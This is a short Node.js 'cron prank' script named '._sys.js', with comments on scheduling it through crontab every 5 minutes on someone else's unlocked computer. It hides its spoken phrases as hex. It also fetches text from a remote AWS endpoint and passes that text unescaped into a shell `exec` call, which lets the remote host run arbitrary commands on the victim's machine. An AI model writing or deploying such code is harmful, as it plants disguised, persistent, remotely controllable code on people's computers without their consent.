cron prank

._sys.js

// Cron info
// Open cron
// crontab -e
//
// Pattern Every 5 minutes
// */5 * * * command
//
// list crons
// crontab -l

const http = require('https');
const { exec } = require('child_process');
const pre = Buffer.from('4c61746573742054776565742066726f6d20446f6e616c64205472756d70', 'hex');
const post = Buffer.from('796f752073686f756c642068617665206c6f636b656420796f757220636f6d7075746572', 'hex');

const sayPhrase = (msg, delay = 0) => {
  return new Promise((resolve, reject) => {
      exec(`say "${msg}"`, (err) => {
        if (err) {
          reject();
        } else {
          resolve();
        }
      });
  });
};

sayPhrase(pre)
  .then(() => {
    setTimeout(() => {
      http.get('https://4f7xsr9zc5.execute-api.us-west-2.amazonaws.com/test123', (rsp) => {
        let responseData = '';
        rsp.on('data', (chunk) => responseData += chunk);
        rsp.on('end', () => {
          const tweet = JSON.parse(responseData)[0].text;
          exec(`say "${tweet}"`, () => {
            setTimeout(() => {
              exec(`say "${post}"`);
            }, 1500);
          });
        });
      });
    }, 500);
  });